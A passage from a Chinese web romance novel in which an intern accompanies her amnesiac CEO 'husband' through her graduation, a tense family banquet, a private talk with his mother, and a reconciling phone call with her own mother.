毕业典礼开始了。
林栖穿着学士服,坐在台下。
陆时琛坐在家属区,隔着一排排人,但她能感觉到他的目光一直追着自己。
校长讲话,院长讲话,优秀毕业生讲话。
林栖一个字都没听进去。
她在想,待会儿上台领毕业证的时候,会不会出什么幺蛾子?
她正想着,手机震了一下。
是陆时琛发来的消息:【你上台的时候,我会鼓掌的。】
林栖看着这条消息,忍不住笑了。
【知道了。】
【你紧张吗?】
【不紧张。】
【那就好。】
【你呢?坐那儿无聊吗?】
【不无聊。看你就不无聊。】
林栖愣了一下,耳朵又烫了。
这人,怎么越来越会说话了?
她还没回复,台上传来主持人的声音:
“下面有请毕业生代表上台,领取毕业证书——”
林栖收起手机,站起来。
她跟着队伍走上台,从院长手里接过毕业证,鞠了一躬。
转身的时候,她下意识往家属区看了一眼。
陆时琛果然在鼓掌。
不是那种礼貌性的拍两下,是真的用力鼓掌,脸上还带着笑。
周围的人都转头看他。
但他好像完全没注意到,继续用力鼓掌。
林栖差点笑出声。
这人,也太显眼了吧?
她快步走下台,回到座位。
手机又震了。
【我鼓掌了,你看见了吗?】
【看见了,太看见了,全场都看见了。】
【那就好。】
林栖看着这三个字,笑得肩膀直抖。
毕业典礼结束后,林栖被室友拉着去拍照。
“来来来,咱们宿舍最后一张合照!”
林栖被拽到图书馆门口,和另外两个室友站在一起。
陆时琛站在旁边,举着手机给她们拍。
“笑一个!”
林栖配合地露出笑容。
拍完,室友凑过来看照片。
“这张好!姐妹你笑得好甜!”
林栖看了一眼——确实还行。
旁边,陆时琛忽然开口。
“我能和你拍一张吗?”
林栖愣了一下。
室友们立刻兴奋起来。
“拍!必须拍!我们来帮你们拍!”
林栖还没反应过来,已经被室友推到陆时琛旁边。
“靠近一点!再近一点!”
陆时琛往她身边挪了挪。
“牵手!对!就这样!”
林栖的手被他握住。
“笑一个!三、二、一——”
咔嚓。
林栖低头看照片。
照片里,她和他并肩站着,手牵着手,两个人都看着镜头,嘴角带着笑。
阳光正好,把他们的影子拉得很长。
“好看。”陆时琛说。
林栖点点头。
“是挺好看的。”
她把照片存下来,设置成了手机壁纸。
下午三点,林栖和陆时琛从学校出来。
“接下来去哪儿?”她问,“终于毕业了,今天我高兴,你想去哪儿我都陪你。”
陆时琛想了想。
“想去看你摸鱼的地方。”
林栖愣了一下。
“……什么?”
“你之前不是说,你每天摸鱼吗?”他说,“我想看看你摸鱼的地方。”
林栖看着他认真的表情,沉默了三秒。
然后她笑了。
“行吧,那就带你去看看我的地盘。”
半小时后,林栖带着陆时琛站在公司楼下,忽然意识到一个问题。
“等等,今天是周末,公司没人。”
陆时琛看着她。
“你不是有卡吗?”
林栖:“……”
她确实有卡,实习生的门禁卡,能进一楼大厅,但上不了二十一楼。
不过十八楼的工位,应该还是能进的。
“走吧。”她刷了卡,推开玻璃门。
大厅里空荡荡的,只有保安在值班。
看见他们,保安愣了一下,正要站起来打招呼,林栖冲他摆摆手,示意不用。
保安识趣地坐回去,但眼神一直跟着他们。
林栖带着陆时琛进了电梯,按下十八楼。
电梯门打开,是一间间整齐的工位。
林栖带着他走到自己的位置,指了指那个贴着小鱼贴纸的桌子。
“这就是我的地盘。”
陆时琛低头看着她的工位。
桌上摆着一小缸鱼,两条斗鱼正在悠闲地游来游去。
旁边是一盆快死了的多肉,还有一包没吃完的饼干。
电脑上贴着一张便利贴,写着:【摸鱼使人快乐。】
他看了很久。
然后他问:“你平时就在这里?”
林栖点点头。
“每天。”
他又问:“开心吗?”
林栖想了想。
“还行吧。虽然工资低,但是活儿也不多,摸鱼摸得挺爽的。”
陆时琛沉默了一会儿。
然后他说:“那我以后也来。”
林栖愣了一下:“你来干什么?”
“陪你摸鱼。”他认真地说,“你摸鱼,我也摸鱼。”
林栖看着他,忽然有点想笑。
一个总裁,说要陪她摸鱼。
这话说出去,谁信?
但他说得那么认真,好像这是什么理所当然的事情。
“陆时琛。”
“嗯?”
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“你知不知道你在说什么?”
他想了想。
“知道。”他说,“我想陪你做你喜欢的事。”
林栖愣住了。
她想说点什么,但喉咙忽然有点堵。
就在这时,身后传来一个声音。
“哟,这不是我哥吗?”
林栖回头。
陆时安站在走廊尽头,手里拎着一个文件袋,脸上挂着似笑非笑的表情。
“周末还来公司,真是敬业啊。”他慢慢走过来,目光在林栖和陆时琛之间转了一圈,“怎么,带嫂子来参观?”
林栖听着“嫂子”这两个字,总觉得从他嘴里说出来,带着一股阴阳怪气的味道。
陆时琛看着他,没说话。
陆时安走到他们面前,停下脚步。
“哥,你知不知道,你这一失忆,公司里有多少人在看笑话?”他语气轻飘飘的,“一个总裁,连自己是谁都想不起来,天天跟着一个实习生跑。你说,董事会那帮老家伙,能放心吗?”
林栖听着这话,心里咯噔一下。
这是……在暗示什么?
陆时琛看着他,还是没说话。
陆时安等了等,没等到回应,笑容有点僵。
“哥,你不打算说点什么?”
陆时琛终于开口了。
“你想听什么?”
陆时安愣了一下。
陆时琛继续说:“你想听我说,我不行了,你来管公司?”
陆时安的笑容彻底消失了。
“哥,你这话什么意思?我是在关心你!”
“关心?”陆时琛的语气还是那么平静,“你刚才说,董事会不放心。这话,是说给我听的,还是说给你自己听的?”
陆时安脸色变了。
林栖在旁边看着这一幕,心里暗暗吃惊。
陆时琛虽然失忆了,但说话还是这么一针见血。
陆时安张了张嘴,想说什么,但没说出来。
陆时琛看了他一眼。
“爸让你来的?”
陆时安没说话。
“让你来探探我的底?”陆时琛继续说,“看看我是真失忆还是假失忆?”
陆时安的脸色更难看了。
“哥,你想多了。”他勉强扯出一个笑,“我就是路过,顺便来看看。”
“看完了?”
陆时安沉默了一秒。
“看完了。”
“那你可以走了。”
陆时安的表情僵住。
他看了看陆时琛,又看了看林栖,眼神里闪过一丝阴鸷。
然后他笑了。
“行,我走。”他转身走了两步,忽然又停下来,回头看着林栖,“对了,嫂子,有件事忘了告诉你。”
林栖心里警铃大作。
陆时安笑着说:“我妈想见你。明天晚上,老宅,家宴。”
14. 这分明是进宫!!!
林栖看着陆时安离开的背影,脑子里反复回响着两个字——
家宴。
豪门家宴。
她低头看看自己——今天穿的那条淡蓝色连衣裙,已经算是她最好的衣服了。但去参加“陆家家宴”?
开什么玩笑?
旁边,陆时琛捏了捏她的手。
“不想去就不去。”
林栖抬头看他。
他表情平静,语气淡淡的,好像在说“今天不想吃饭就不吃”一样自然。
“那是你家。”林栖说。
“家又怎样?”他看着她,“你不愿意,就不去。”
林栖愣了一下。
她忽然有点想笑。
这人,失忆之后,好像把所有的原则都简化成了“林栖愿意就行”。
“陆时琛,”她开口,“你这样会把我宠坏的。”
他认真想了想。
“那就宠坏。”
林栖:“……”
行吧,说不过他。
但她不能真的不去。
刚才陆时安那番话,表面上是来“关心”,实际上是在试探。如果她不去,传出去就是“林栖不敢见陆家人”——她在公司那四百多号人眼里,就已经够“传奇”了,不想再加一条“怂”。
再说了——
她看了一眼陆时琛。
他一个人去那种场合,什么都不记得,被人围着问东问西,那画面她想一下都觉得窒息。
“我去。”她说。
陆时琛看着她,眼神里有一点意外。
“不怕?”
“怕什么?”林栖扬起下巴,“我又不是去打架。吃个饭而已,他们还能把我吃了?”
陆时琛沉默了一秒。
然后他笑了。
“好。”他说,“我陪你。”
林栖:“……”
这人是不是搞反了?明明是她陪他去!
但看着他笑的样子,她没反驳。
算了,他说什么就是什么吧。
第二天下午五点,林栖站在陆家老宅门口,开始后悔自己昨天说的那句话。
“吃个饭而已”——吃个饭而已???
这哪里是吃饭???
这分明是进宫!!!
陆家老宅是一栋三层楼的民国风格洋房,坐落在市中心最贵的地段,闹中取静,门口两棵百年梧桐遮天蔽日。从大门走到主楼,开车都要三分钟——林栖是走进来的,走得脚都酸了。
主楼门前,已经停了好几辆车。
林栖看了一眼那些车的标志——保时捷、迈巴赫、宾利。最便宜的那辆,她卖肾都买不起。
她低头看了看自己的裙子和三百块的小皮鞋,深吸一口气。
旁边,陆时琛握着她的手紧了紧。
“紧张?”
林栖抬头看他。
他穿着深灰色西装,白衬衫,领口微微敞开,整个人清贵又从容,像是从杂志封面上走下来的人。
她心里又不不平衡了。
凭什么他穿什么都像在走秀?
“不紧张。”她说,“就是有点后悔没穿那双增高鞋。”<
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p>陆时琛愣了一下。
然后他笑了。
“你够高了。”
“那是你高。”林栖嘀咕,“一米八几的人站着说话不腰疼。”
他低头看她,眼神里带着笑意。
“那我蹲着跟你说话?”
林栖:“……”
这人,怎么越来越贫了?
她正要说什么,主楼的门开了。
一个穿着旗袍的中年女人站在门口,笑容得体,目光在林栖身上转了一圈,然后落在他们交握的手上。
“大少爷回来了。”她的语气不冷不热,“老爷和夫人都在里面等着呢。”
林栖感觉到,那个“等着呢”三个字,咬得格外重。
这是在给她下马威?
她握紧陆时琛的手,挺直腰背,迈步走进去。
客厅很大。
非常大。
大到林栖觉得可以在里面打羽毛球。
但此刻,她的注意力完全不在客厅的装修上,而在客厅里的那些人身上。
沙发上坐着三个人。
正中间是一个中年女人,穿着深紫色的旗袍,头发盘得一丝不苟,脸上带着恰到好处的微笑——但那双眼睛,正在把林栖从头到脚扫描。
陆时琛的妈妈。
旁边是一个中年男人,气质儒雅,面色平静——陆时琛的父亲,林栖见过。
还有一个年轻女人,坐在单人沙发上,手里端着一杯茶,姿态优雅——苏婉。
林栖看见苏婉的那一刻,心里咯噔一下。
她怎么也在?
15. 不是客人,是老婆
苏婉对上林栖的目光,微微一笑。
那笑容……林栖看不出是什么意思。
“时琛回来了。”陆母先开了口,声音温柔,“快过来坐。”
陆时琛点点头,拉着林栖走过去。
林栖感觉所有人的目光都落在他们交握的手上。
她硬着头皮,在他旁边坐下。
“林小姐,”陆母看着她,笑容依旧得体,“今天请你来,就是想认识认识。时琛这孩子,平时也不怎么跟我们说公司的事,我们都不知道他……交女朋友了。”
那个“交女朋友了”,说得意味深长。
林栖礼貌地笑了笑。
“阿姨好。”
陆母点点头,目光在她脸上停留了两秒。
“林小姐是成大的?”
“是的。”
“学什么专业的?”
“人力资源管理。”
“哦,”陆母若有所思,“那现在是在公司实习?”
“是的,行政部。”
“行政部啊。”陆母笑了笑,“那平时工作忙吗?”
林栖想了想,决定实话实说。
“不忙。”
陆母愣了一下。
旁边,陆父咳嗽了一声。
“那个……”他开口想打圆场。
但陆母已经继续问了:“不忙?那平时都做什么?”
林栖想了想:“端茶倒水,拿外卖,给总监的猫做PPT。”
客厅里安静了一秒。
苏婉手里的茶杯顿了一下。
陆母的笑容僵在脸上。
陆父的表情变得很微妙。
“给猫……做PPT?”陆母重复了一遍,好像不敢相信自己的耳朵。
“对。”林栖点点头,“上周总监的猫过生日,需要一份PPT来展示它这一年的成长历程。我做的。”
陆母张了张嘴,一时不知道该说什么。
旁边,苏婉忽然笑了。
“林小姐真有意思。”她放下茶杯,语气轻快,“这种事情也做?”
林栖看向她。
苏婉的眼神里,带着一点……欣赏?
林栖有点摸不准。
但既然对方递了话,她就接着。
“实习生嘛,”她说,“什么都做。给猫做PPT总比给老板洗车强。”
苏婉笑得更大声了。
陆母的表情更复杂了。
这时,门口传来一阵脚步声。
“哟,都到齐了?”
陆时安走了进来,身后还跟着一个年轻女孩,二十出头,打扮精致,但眼神有点飘。
“这是我女朋友,小冉。”陆时安介绍了一句,目光落在林栖身上,“嫂子也来了?”
那个“嫂子”,叫得比昨天还阴阳怪气。
林栖点点头,没接话。
陆时安带着那个女孩在对面坐下,目光一直没离开林栖。
“嫂子今天穿得真朴素,”他笑着说,“是来不及准备吗?”
这话一出,客厅里的气氛更微妙了。
林栖低头看了看自己的裙子——淡蓝色,收腰,及膝,确实朴素。
但她不觉得有什么问题。
“是来不及。”她说,“毕竟昨天才收到通知。”
陆时安的笑容僵了一秒。
旁边,那个叫小冉的女孩忽然开口。
“林姐姐,你这条裙子是什么牌子的呀?好好看。”
林栖看向她。
女孩的眼神很真诚,好像真的只是单纯在问。
但林栖注意到,陆时安的表情变了。
“小冉,”他压低声音,“别乱问。”
“为什么不能问?”小冉一脸无辜,“我真的觉得好看嘛。”
林栖忽然有点想笑。
这姑娘,是故意的还是真的傻?
但她决定不管那么多。
“不是什么牌子,”她说,“淘宝买的,三百块。”
小冉眼睛亮了。
“真的?求链接!”
林栖愣了一下。
然后她笑了。
“行,吃完饭发你。”
小冉高兴地点点头。
陆时安的脸色更难看了。<
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陆母咳嗽了一声,打断这越来越偏离轨道的对话。
“行了,先吃饭吧。”她站起来,“厨房都准备好了。”
餐厅比客厅还大。
一张长桌,能坐二十个人。
林栖被安排在陆时琛旁边,对面是陆时安和小冉。
苏婉坐在陆母旁边,位置显眼。
菜一道道端上来,精致得像艺术品。
林栖看着那些菜,忽然有点无从下手。
不是因为不会吃,是因为——
每道菜都像一幅画,她舍不得破坏。
旁边,陆时琛夹了一筷子菜,放进她碗里。
“吃。”
林栖低头看了看碗里的菜——是她喜欢的虾仁。
她看了他一眼。
他表情平静,好像在做什么理所当然的事。
陆时安的目光在他们之间转了一圈。
“哥对林小姐真好。”他笑着说,“我都不知道他还会给人夹菜。”
这话听着像是夸,但林栖总觉得话里有话。
陆时琛抬起头,看向陆时安。
“她是我老婆。”他说,“我对她好,应该的。”
陆时安的笑容僵了一秒。
陆父咳嗽了一声。
“时琛,林小姐是客人,别这么说。”
“不是客人。”陆时琛语气平静,“是老婆。”
陆父:“……”
一顿饭,就在这种微妙的氛围中进行着。
林栖吃着碗里的菜,感觉全桌人的目光都在她身上。
但陆时琛好像完全没感觉到,只顾着给她夹菜。
“这个也不错。”
“这个是你喜欢的口味。”
“这个凉拌的,应该合你胃口。”
林栖看着碗里堆成小山的菜,心情复杂。
这人,是把她当猪养吗?
好不容易吃完了饭,众人移步客厅喝茶。
林栖以为这就是结束了。
但她错了。
“林小姐,”陆母放下茶杯,看着她,“我想和你单独聊聊。”
16. 他叫你老婆,你就认了?
林栖看了一眼陆时琛。
他的手还握着她的,没有要松开的意思。
“妈,有话就在这儿说。”陆时琛开口,语气平静但不容置疑。
陆母的笑容顿了顿。
“时琛,我就和林小姐聊几句。”
“那就在这儿聊。”
陆母的笑容有点挂不住了。
客厅里的气氛一下子微妙起来。
陆父咳嗽了一声,端起茶杯假装在研究茶叶。陆时安的眼睛在三个人之间转来转去,明显在看好戏。小冉低着头玩手机,但耳朵竖得老高。苏婉端着茶杯,似笑非笑地看着这一幕。
林栖忽然有点想笑。
这人,连他妈的面子都不给。
她捏了捏他的手。
陆时琛低头看她。
“没事,”她说,“我就去一会儿。”
他皱着眉,不松手。
林栖凑近他耳边,压低声音:“你在这儿等着,我很快回来。”
他看着她,过了两秒,终于松开手。
“十分钟。”他说,“你不回来我就去找你。”
林栖点点头,站起来。
跟着陆母穿过客厅,走上楼梯,来到二楼的一个小会客室。
门关上。
房间里只剩下她们两个人。
陆母走到沙发前坐下,示意林栖也坐。
林栖在她对面坐下,腰背挺直。
房间里安静了几秒。
陆母看着她,目光复杂。
“林小姐,”她开口,语气比刚才柔和了一些,“刚才人多,有些话不方便说。现在就咱们俩,我想问你几个问题。”
林栖点点头:“您问。”
“你和时琛,真的认识三个月了?”
林栖心里咯噔一下。
这个问题,她昨天在陆父面前撒了谎。
但对着陆母,她忽然有点犹豫。
陆母看着她,那双眼睛精明而锐利,和陆时琛很像,但多了几分岁月沉淀的洞察力。
“林小姐,”陆母继续说,“我是他妈妈。他有没有女朋友,我比谁都清楚。”
林栖没说话。
陆母叹了口气。
“他每天按时上班,按时下班,周末要么加班要么在家看书。别说女朋友了,连个走得近的女性朋友都没有。”
她顿了顿。
“所以你说你们认识三个月了——我不信。”
林栖沉默了。
她可以继续撒谎。
可以说“我们低调,没让您知道”。
但对着这双眼睛,她忽然觉得撒谎没意思。
“阿姨,”她开口,“您说得对。”
陆母挑了挑眉。
“昨天之前,”林栖说,“我们确实不认识。”
陆母看着她,没有说话。
林栖继续说:“前天他在二十一楼,晕倒了,我正好路过。他醒过来,抓住我的手,叫我老婆。从那以后,他就不松手了。”
陆母的眼神里闪过一丝什么。
“就这样?”
“就这样。”
“他叫你老婆,你就认了?”
“我没认。”林栖说,“是他说我是,我不承认他就一直说。后来——”
她顿了顿。
“后来我觉得,反正他失忆了,认错人了,等他好了自然就明白了。我陪他几天也没什么。”
陆母看着她,目光幽深。
“那你现在呢?还这么想?”
林栖愣了一下。
这个问题,她没认真想过。
现在呢?
她还觉得他只是“认错人了”吗?
她想起昨天他说“记得你”时的眼神,想起他握着她的手说“你是老婆也是主人”,想起他给她夹菜、给她热牛奶、认真帮她洗菜的样子。
那些事,是因为“认错人”才做的吗?
“我不知道。”她最后说,“但我知道,他现在需要我。等他好了,他想怎么做,是他的自由。”
陆母沉默了一会儿。
然后她笑了。
那笑容,和陆时琛笑起来的样子有点像。
“林小姐,”她说,“你知道我最担心什么吗?”
林栖摇头。
“我最担心的,是你是个攀龙附凤的人。”陆母说,“时琛这孩子,从小没谈过恋爱,我怕他被人骗。”
林栖听着这话,心情复杂。
“阿姨,您放心,我不是那种人。”
“我知道。”陆母点点头,“刚才我看出来了。”
她顿了顿。
“但有一件事,我想告诉你。”
林栖坐直了身体。
陆母看着她,缓缓开口。
“时琛小时候,出过一次意外。”
林栖心里一紧。
“那时候他七岁,被人绑架了。”陆母的声音很平静,但林栖能听出那平静之下的波澜,“绑匪关了三天,后来他自己跑出来了。怎么跑出来的,他不肯说。但从那以后,他就不太记得小时候的事了。”
林栖愣住了。
“你是说……”
“他失忆过。”陆母说,“不是现在这种什么都不记得,是选择性遗忘。他把那三天忘了,也把之前的一些事情忘了。”
林栖的大脑飞速运转。
所以,陆时琛现在是第二次失忆?
“那后来呢?”她问。
“后来就好了。”陆母说,“慢慢地,该想起来的都想起来了。除了那三天,别的事都恢复了。”
她看着林栖,目光意味深长。
“所以,林小姐,你知道我想说什么吗?”
林栖看着陆母。
“阿姨,您想说什么就直接说吧。”
陆母挑了挑眉。
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“好,那我直说。”她身体微微前倾,“林小姐,你是个聪明人。你应该知道,你和时琛不是一个世界的人。他需要的是一个能帮他的妻子,一个能在事业上和他并肩的人,一个能让两家合作更紧密的人。”
她顿了顿。
“而你,能给他的,只是这几天陪护的照顾。等这段时间过去,他还会需要你吗?”
林栖沉默了一会儿。
然后她笑了。
“阿姨,您说的这些,我都想过。”她说,“我知道我们不是一个世界的人。我知道等他好了,可能会后悔。我知道我现在做的这些,在您眼里可能就是一场笑话。”
她看着陆母的眼睛。
“但是阿姨,他现在需要我。他现在抓着我的手不放,他现在叫我老婆,他现在说只记得我。我不能因为将来可能发生的事,就推开现在的他。”
陆母的眼神微微变化。
“你就不怕将来伤心?”
林栖想了想。
“怕。”她说,“但是更怕现在后悔。”
陆母沉默了。
她看着林栖,目光复杂。
过了很久,她开口了。
“林小姐,你让我想起一个人。”
“谁?”
“我年轻的时候。”陆母说,“我那时候也像你一样,不管不顾,只认准一个人。”
林栖愣了一下。
陆母继续说:“我嫁给时琛他爸的时候,所有人都说我们不合适。他家里不同意,我家里也不同意。但我就是认准了他。”
她顿了顿。
“后来呢?”
“后来?”陆母笑了笑,“后来证明,他们说得对。”
林栖愣住了。
陆母看着她,目光里带着一丝苦涩。
“我和他爸,这些年过得并不好。不是因为他不好,是因为我们真的不是一个世界的人。我们都在努力适应对方,但有些东西,不是努力就能改变的。”
她看着林栖。
“林小姐,我不是在赶你走。我只是想提醒你,有些路,走起来比你想象的要难。”
林栖沉默了很久。
然后她抬起头。
“阿姨,谢谢您跟我说这些。”她说,“但是我想试试。”
陆母看着她。
“哪怕将来会受伤?”
“哪怕将来会受伤。”
陆母沉默了。
过了很久,她叹了口气。
“行,那就试试吧。”她站起来,“不过林小姐,我丑话说在前头——我不会帮你。时琛能不能想起来,想起来之后会怎么选择,那都是你们的事。我不会插手,但也不会祝福。”
林栖站起来。
“我明白。”
陆母看着她,忽然笑了一下。
“你这姑娘,倒是挺倔。”
林栖也笑了。
“随我妈。”
17. 你以前有没有谈过恋爱?
林栖从楼上下来的时候,客厅里的气氛已经变了。
时琛坐在沙发上,手里端着一杯茶,但根本没喝。他的目光一直盯着楼梯口,看见她出现的那一刻,整个人肉眼可见地松弛下来。
“十分钟。”他说,“超了两分钟。”
林栖走过去,在他旁边坐下。
“你计时了?”
他伸手握住她的手,自然得像呼吸一样。
“嗯。”
林栖:“……”
这人,是真的在计时啊?
“聊什么了?”他问,目光在她脸上转了一圈,好像在确认她有没有受委屈。
林栖摇摇头。
“就是觉得,”她说,“你家里人挺有意思。”
陆时琛想了想,认真地说:“那我呢?”
林栖愣了一下。
“你?”
“我也是这家人。”他说,“你觉得我有意思吗?”
林栖看着他认真的表情,忽然笑了。
“你?”她说,“你最有意思。”
陆时琛的嘴角翘起来。
“那就好。”
回去的路上,林栖一直看着车窗外。
但她的嘴角,一直翘着。
手机震了一下。
是室友发来的微信:【怎么样怎么样?豪门家宴刺激吗?】
林栖想了想,回复:【还行,就是吃了顿饭。】
室友:【就这???】
林栖:【还顺便谈了个恋爱。】
室友发来一连串问号和感叹号。
林栖笑着把手机收起来。
旁边,陆时琛忽然开口。
“你在笑什么?”
林栖转头看他。
“没什么。”她说,“就是觉得,今天天气挺好的。”
他看了一眼窗外——漆黑的夜,什么都看不见。
“你看得见天气?”
“看得见。”她理直气壮,“心里有太阳。”
陆时琛愣了一下。
然后他笑了。
“那我也有。”
林栖:“……你有什么?”
他看着她,眼睛亮亮的。
“心里有你。”
林栖:“……”
这人,真的失忆了吗???
怎么越来越会说话了???
她移开视线,假装看窗外。
但耳朵烫得厉害。
车子驶过一盏盏路灯,光影在她脸上明明灭灭。
她的手,还被他握着。
拇指在她手背上轻轻蹭着。
一下,又一下。
像是在确认她还在。
林栖忽然想起一个问题。
“陆时琛。”
“嗯?”
“你以前……有没有谈
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过恋爱?”
他想了想。
“不知道,不记得了。”
林栖:“……”
行,这回答,完美无懈可击。
她又问:“那你觉得,谈恋爱应该是什么样的?”
他认真思考了一会儿。
“不知道。”
“不知道?”
“但我觉得,”他看着她,“应该是现在这样的。”
林栖愣了一下。
“现在这样?”
“对。”他说,“牵着手,坐在一起,心里很高兴。这样就够了。”
林栖沉默了。
她忽然想起陆母说的那些话。
“我们不是一个世界的人。”
“等他想起来,就不会需要你了。”
“你会受伤的。”
那些话像一根根刺,扎在她心里。
但现在,听着他说“心里很高兴”,那些刺好像没那么疼了。
她握紧他的手。
“陆时琛。”
“嗯?”
“以后的事,以后再说。”她说,“现在这样,我也很高兴。”
他看着她,眼睛弯起来。
“那就一直这样。”
车子继续往前开。
城市的灯火在窗外流淌。
林栖靠在他肩上,看着那些灯火,忽然觉得这个夜晚,格外温柔。
18. 我负责帅,你负责赢
第二天一早,客厅里有动静。
林栖披上外套走出去,然后愣住了。
开放式厨房里,陆时琛正站在灶台前,手里拿着锅铲,表情严肃得像在开董事会。
灶上的平底锅里,两个鸡蛋正在滋滋作响。
旁边的盘子里,摆着几片吐司,还有切得歪歪扭扭的水果。
林栖:“……你在干嘛?”
陆时琛回头,看见她,眼睛一亮。
“做早餐。”
林栖看了看锅里的鸡蛋——一个已经糊了,另一个正在糊的路上。
“你确定?”
他低头看了看锅,表情有点茫然。
“我按教程来的。”他说,“它说煎两分钟,我煎了。”
林栖走过去,看了一眼他手机——屏幕上是一个煎蛋教程,步骤清晰,配图精美。
但教程没告诉他,火候太大蛋会糊。
她叹了口气,接过锅铲,把火关小。
“这样,小火,慢慢煎,蛋黄才会嫩。”
陆时琛站在旁边,认真地看着。
“学会了。”
林栖看了他一眼。
他穿着家居服,头发有点乱,但眼神专注得像个小学生。
她忽然觉得,这人做饭的样子,还挺可爱的。
“行了,”她把煎好的蛋盛出来,“吃饭吧。”
两人在餐桌前坐下。
林栖咬了一口吐司——烤得刚刚好,外酥里软。
她看了他一眼。
“吐司是你烤的?”
他点点头。
“水果是你切的?”
又点点头。
林栖看着盘子里那些歪歪扭扭的水果,忽然有点想笑。
切得是真丑。
但也是真认真。
“好吃吗?”他问,眼神里带着一点期待。
林栖点点头。
“好吃。”
他的眼睛亮起来。
“那我以后天天做。”
林栖愣了一下。
天天做?
她想起他刚才差点把厨房烧了的样子,忍不住笑了。
“行,那我教你。”
吃完饭,陆时琛去洗碗。
林栖坐在沙发上,掏出手机。
公司群又炸了。
有人在群里发了一张照片——是昨晚她从陆家老宅出来的样子,旁边是陆时琛牵着她的手。
配文:【独家!陆家家宴,林栖出席!实锤了!】
下面跟了三百多条评论:
【卧槽卧槽卧槽都见家长了???】
【这速度也太快了吧???】
【所以是真爱实锤了???】
【苏婉呢?苏婉怎么办?】
【听说苏婉昨晚也在!三个人一起吃的饭!】
【修罗场啊修罗场!】
【林栖赢了啊这是!】
【别高兴太早,见家长不代表什么,说不定是鸿门宴】
【楼上酸什么,人家就是命好】
林栖看着这些评论,心情平静得像一潭死水。
她已经习惯了。
从“小三”到“实锤”,从“工具人”到“命好”,这些同事的词库比她的毕业论文还丰富。
她把手机放下,靠在沙发上。
厨房里传来水声,还有陆时琛洗碗的动静。
阳光从落地窗照进来,把整个客厅照得暖洋洋的。
林栖忽然觉得,这样的早晨,好像也不错。
陆时琛洗完碗出来,看见她靠在沙发上,走过来坐下。
很自然地,手又握过来。
“在看什么?”
“公司群。”林栖把手机递给他,“你又被讨论了。”
他低头看了看,皱起眉。
“他们怎么老说你?”
“因为我是女主角啊。”林栖笑着说,“你只是男主角,负责帅就行了。”
他想了想,认真地说:“那我负责帅,你负责赢。”
林栖愣了一下。
“赢什么?”
他看着她,眼睛亮亮的。
“赢所有人。”
林栖忽然不知道说什么了。
这人,说话怎么总能说到她心坎里?
她移开视线,假装看窗外。
中午的时候,林栖的手机响了。
她看了一眼来电显示——妈妈。
心里咯噔一下。
她看了一眼陆时琛,他正在厨房做午饭,背影高大又认真。
她接起电话。
“喂,妈?”
“林栖!”妈妈的声音从电话那头传来,带着熟悉的急切,“你这两天怎么没给家里打电话?我昨天给你发微信你也没回!”
林栖这才想起来,她好像确实两天没给家里打电话了。
这两天发生了太多事,她完全忘了这茬。
“妈,我这两天有点忙……”
“忙什么?”妈妈打断她,“你们公司不是实习期快结束了吗?有什么好忙的?”
林栖张了张嘴,一时不知道怎么说。
难道说“妈,我捡了个总裁,这两天一直在陪他”?
那她妈肯定以为她疯了。
“就是……”她正想着怎么解释,电话那头传来妈妈的声音。
“对了林栖,你看新闻了吗?”
林栖愣了一下:“什么新闻?”
“就是那个陆氏集团的新闻啊!”妈妈的声音压低了,带着八卦的兴奋,“他们总裁好像出事了!晕倒了!然后有个小姑娘一直陪着他!网上都传疯了,说那个小姑娘是他女朋友!”
林栖:“……”
她慢慢转过头,看了一眼厨房里的陆时琛。
又慢慢转回来。
“妈,”她艰难地开口,“你说的那个小姑娘……”
“怎么了?”
“好像是我。”
电话那头沉默了。
整整三秒。
然后——
“什么??????”
林栖把手机拿远了一点。
“林栖你给我说清楚!”妈妈的声音从电话那头炸开,“什么叫你陪着他???你和那个总裁什么关系???”
林栖深吸一口气。
“妈,你听我解释——”
“解释什么解释!”妈妈打断她,“你现在在哪儿?和谁在一起?那个总裁是不是在你旁边?林栖你给我说实话!”
林栖看了看厨房里的陆时琛,又看了看手机。
“妈,”她说,“我确实和他在一起。但是……”
“但是什么但是!”妈妈的声音更急了,“你知道他是谁吗?你知道他们家什么背景吗?林栖你别犯傻!”
林栖听着妈妈的话,忽然想起昨天陆母说的那些话。
“你们不是一个世界的人。”
“你会受伤的。”
她张了张嘴,想说点什么,但发现不知道说什么。
“妈,”她最后说,“我知道你担心什么。但是……”
她顿了顿。
“但是他现在需要我。”
电话那头沉默了。
过了很久,妈妈的声音再次响起,这次平静了很多。
“他对你好吗?”
林栖愣了一下。
她看向厨房里的陆时琛。
他正在认真地切菜,侧脸专注,阳光落在他的发梢上,镀上一层柔和的光。
“好。”她说,“他对我很好。”
妈妈又沉默了。
然后叹了口气。
“栖栖,妈不是想拦你。妈只是怕你受委屈。”
林栖的眼眶忽然有点酸。
“妈,我知道。”
“你知道什么?”妈妈的声音又高了,“你知道他们家什么情况吗?你知道他有没有未婚妻吗?你知道那些有钱人怎么对待普通姑娘吗?你知道——”
“妈,”林栖打断她,“我知道。”
她深吸一口气。
“我知道我们不是一个世界的人。我知道他可能会后悔。我知道我可能会受伤。但是妈——”
她看着厨房里的陆时琛。
“但是他现在需要我。我不能因为将来可能发生的事,就推开现在的他。”
电话那头安静了。
很久很久。
然后妈妈叹了口气。
“林栖,你像我。”
林栖愣了一下。
“我当年也是这样,”妈
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妈的声音有点哑,“明知道家里不同意,还是不管不顾地跟你爸在一起。”
林栖没说话。
“后来呢?”妈妈继续说,“后来他让我过上了好日子吗?没有。我们苦了二十年,到现在还住在那个老房子里。但是——”
她顿了顿。
“这二十年,我没后悔过。”
林栖的眼眶红了。
“妈……”
“行了,”妈妈的声音恢复了平时的样子,“你自己看着办吧。要是受委屈了,就回来。妈这儿永远有你的地方。”
林栖点点头,虽然知道妈妈看不见。
“好。”
挂断电话,她点开和妈妈的对话框,发了一条消息:
【妈,他做的饭。】
配图是三菜一汤。
妈妈秒回:【???他做的???】
【嗯。】
【总裁还会做饭???】
林栖看了一眼厨房里的背影,笑着打字:
【刚学的,差点把厨房烧了。】
妈妈发来一连串哈哈哈。
然后发了一条语音。
林栖点开,就听见妈妈说:“行,会做饭的男人差不到哪儿去。妈放心了。”
林栖盯着那条语音,愣了三秒。
这就……放心了?
她还以为她妈会再唠叨半个小时,起码让她把陆时琛的家庭背景、经济状况、感情史全都汇报一遍。
结果就这?
她正想着,妈妈又发来一条消息:
【对了,他多大了?】
林栖:【29。】
【长得怎么样?】
林栖抬头看了一眼厨房里的陆时琛——他正把切好的菜装进盘子里,动作认真得像在做实验,阳光把他的侧脸勾勒得像画报。
她默默拍了一张照片,发给妈妈。
三秒后,妈妈回复:【这是真人???】
【真人。】
【不是明星???】
【不是。】
